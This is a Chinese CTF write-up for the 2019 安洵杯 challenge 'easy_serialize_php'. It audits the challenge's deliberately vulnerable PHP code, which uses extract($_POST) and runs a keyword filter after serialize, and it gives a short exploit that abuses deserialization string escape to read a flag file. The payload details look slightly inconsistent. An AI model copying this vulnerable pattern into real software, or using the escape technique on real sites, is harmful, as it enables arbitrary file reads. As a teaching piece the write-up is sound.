[安洵杯 2019]easy_serialize_php

知识点

代码审计
PHP序列化
反序列化字符串逃逸

审题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

(代码量有丶大 老样子拆开分析

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

这一部分是对传上的$img进行正则匹配过滤

1
2
3
4
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

这里虽然对$_SESSION进行了赋值 但是由于后面有extract($_POST)进行变量覆盖 相当于我们只要POST了$_SESSION 前面的赋值就作废了 这里贴上这个函数的用法
PHP extract() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

这一部分放在一起分析 首先是如果我们没有传入img_path参数的话 就会有$_SESSION[‘img’] = base64_encode(‘guest_img.png’)这样一个赋值语句 看到下面其实会发现 貌似这里的这句话导致了这题下面唯一一个可以利用的file_get_contents函数不能利用了 因为我们在上面传入$_SESSION会紧接着在这里被进行加工 导致我们构造的语句不能用 但是先放着 往下继续看 发现题目的file_get_contents函数 以及题目引导我们看看传入?f=phpinfo看看 试试就逝世

噢 看我们发现了什么 一个野生的d0g3_f1ag.php 这个很明显就是需要寻找的flag了 至此代码审计基本完成

解题

首先要知道一个知识点 如果在一个标准的序列化字符串结尾继续添上一些就算是序列化字符串格式的字符会有什么结果

噢 你会发现 后面加上的那些字符统统没有被执行
聪明的同学看到这里可能就明白了 如果我们构造一个字符串 他是一个序列化格式字符串的后半部分(带上后花括号的那种 那么刚刚我们看到 题目在我们传参之后 又进行了$_SESSION[‘img’] = base64_encode(‘guest_img.png’); 如果这个新加上的部分在}后面 那么就会在反序列化的时候 被当作垃圾扔掉 就能执行我们构造好的命令 这个就叫做反序列化字符串逃逸 但是具体怎么实现呢

EXP

1
2
3
4
5
6
7
<?php
$_SESSION['flagphp']=';s:1:\'1\';s:3:"img";s:20:ZDBnM19mMWFnLnBocA==;}';
echo serialize($_SESSION);
#ZDBnM19mMWFnLnBocA==\\d0g3_f1ag.php的base64编码
#执行之后的结果:a:1:{s:7:"flagphp";s:46:";s:1:'1';s:3:"img";s:20:ZDBnM19mMWFnLnBocA==;}";}
#经过过滤之后的结果:a:1:{s:7:"";s:46:";s:1:'1';s:3:"img";s:20:ZDBnM19mMWFnLnBocA==;}";} ------> 实现逃逸
?>

这里把经过过滤之后的结果单独拉出来看看 a:1:{s:7:”f”;s:46:”;s:1:’1’;s:3:”img”;s:20:ZDBnM19mMWFnLnBocA==;}”;} 这边需要读者明白序列化的格式 s:7:”phpflag”;s:48:”就变成了s:7:””;s:48:” 从第一个”后面的7位 也就是”;s:48: 变成了一个键值 这样就利用了过滤实现了字符串的逃逸 其实这部分需要读者自己通过学习序列化的格式自己消化理解
这边推一个dalao的博客 如果我写的太差可以看看他的 dalao的博客

EOF